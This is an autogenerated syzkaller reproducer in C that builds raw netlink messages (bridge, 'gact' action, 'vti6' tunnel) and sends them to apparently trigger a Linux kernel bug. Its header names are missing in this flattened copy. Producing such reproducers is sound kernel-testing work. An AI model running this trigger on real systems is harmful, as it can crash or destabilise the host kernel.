// https://syzkaller.appspot.com/bug?id=ca20586a5f42828d3ca74912f371216a9bdb6b2d // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include #include #include #include #include #include #include #include #define BITMASK(bf_off, bf_len) (((1ull << (bf_len)) - 1) << (bf_off)) #define STORE_BY_BITMASK(type, htobe, addr, val, bf_off, bf_len) \ *(type*)(addr) = \ htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | \ (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len)))) uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; int main(void) { syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); intptr_t res = 0; res = syscall(__NR_socket, 0x10ul, 3ul, 0); if (res != -1) r[0] = res; *(uint64_t*)0x20000180 = 0; *(uint32_t*)0x20000188 = 0; *(uint64_t*)0x20000190 = 0x200000c0; *(uint64_t*)0x200000c0 = 0x20001280; memcpy((void*)0x20001280, "\x34\x00\x00\x00\x10\x00\x01\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00" "\x00\x00\x00", 20); *(uint32_t*)0x20001294 = -1; memcpy((void*)0x20001298, "\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x12\x00\x0c\x00\x01\x00\x62" "\x72\x69\x64\x67\x65", 22); *(uint64_t*)0x200000c8 = 0x34; *(uint64_t*)0x20000198 = 1; *(uint64_t*)0x200001a0 = 0; *(uint64_t*)0x200001a8 = 0; *(uint32_t*)0x200001b0 = 0; syscall(__NR_sendmsg, r[0], 0x20000180ul, 0ul); *(uint64_t*)0x20000300 = 0; *(uint32_t*)0x20000308 = 0; *(uint64_t*)0x20000310 = 0x200002c0; *(uint64_t*)0x200002c0 = 0x20000340; *(uint32_t*)0x20000340 = 0x6c; *(uint16_t*)0x20000344 = 0x30; *(uint16_t*)0x20000346 = 5; *(uint32_t*)0x20000348 = 0; *(uint32_t*)0x2000034c = 0; *(uint8_t*)0x20000350 = 0; *(uint8_t*)0x20000351 = 0; *(uint16_t*)0x20000352 = 0; *(uint16_t*)0x20000354 = 0x58; *(uint16_t*)0x20000356 = 1; *(uint16_t*)0x20000358 = 0x54; STORE_BY_BITMASK(uint16_t, , 0x2000035a, 1, 0, 14); STORE_BY_BITMASK(uint16_t, , 0x2000035b, 0, 6, 1); STORE_BY_BITMASK(uint16_t, , 0x2000035b, 0, 7, 1); *(uint16_t*)0x2000035c = 9; *(uint16_t*)0x2000035e = 1; memcpy((void*)0x20000360, "gact\000", 5); *(uint16_t*)0x20000368 = 0x28; STORE_BY_BITMASK(uint16_t, , 0x2000036a, 2, 0, 14); STORE_BY_BITMASK(uint16_t, , 0x2000036b, 0, 6, 1); STORE_BY_BITMASK(uint16_t, , 0x2000036b, 1, 7, 1); *(uint16_t*)0x2000036c = 0x18; *(uint16_t*)0x2000036e = 2; *(uint32_t*)0x20000370 = 0; *(uint32_t*)0x20000374 = 0; *(uint32_t*)0x20000378 = 0; *(uint32_t*)0x2000037c = 0; *(uint32_t*)0x20000380 = 0; *(uint16_t*)0x20000384 = 0xc; *(uint16_t*)0x20000386 = 3; *(uint16_t*)0x20000388 = 3; *(uint16_t*)0x2000038a = 0; *(uint32_t*)0x2000038c = 0; *(uint16_t*)0x20000390 = 4; *(uint16_t*)0x20000392 = 6; *(uint16_t*)0x20000394 = 0xc; *(uint16_t*)0x20000396 = 7; *(uint32_t*)0x20000398 = 0; *(uint32_t*)0x2000039c = 0; *(uint16_t*)0x200003a0 = 0xc; *(uint16_t*)0x200003a2 = 8; *(uint32_t*)0x200003a4 = 0; *(uint32_t*)0x200003a8 = 0; *(uint64_t*)0x200002c8 = 0x6c; *(uint64_t*)0x20000318 = 1; *(uint64_t*)0x20000320 = 0; *(uint64_t*)0x20000328 = 0; *(uint32_t*)0x20000330 = 0; syscall(__NR_sendmsg, -1, 0x20000300ul, 0ul); *(uint64_t*)0x20000000 = 0; *(uint32_t*)0x20000008 = 0; *(uint64_t*)0x20000010 = 0x20000180; *(uint64_t*)0x20000180 = 0x20000280; memcpy((void*)0x20000280, "\xa0\x00\x00\x00\x10\x00\x3b\x0e\x20\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00", 20); *(uint32_t*)0x20000294 = -1; memcpy((void*)0x20000298, "\x02\x00\x00\x00\x00\x00\x00\x00\x80\x00\x12\x00\x08\x00\x01\x00\x76" "\x74\x69\x36\x74\x00\x02\x00\x60\x00\x05", 27); *(uint64_t*)0x20000188 = 0xa0; *(uint64_t*)0x20000018 = 1; *(uint64_t*)0x20000020 = 0; *(uint64_t*)0x20000028 = 0; *(uint32_t*)0x20000030 = 0; syscall(__NR_sendmsg, -1, 0x20000000ul, 0ul); res = syscall(__NR_socket, 0x10ul, 0x8000000000000003ul, 0); if (res != -1) r[1] = res; syscall(__NR_sendmmsg, r[1], 0x20000000ul, 0x4000000000001f2ul, 0ul); return 0; }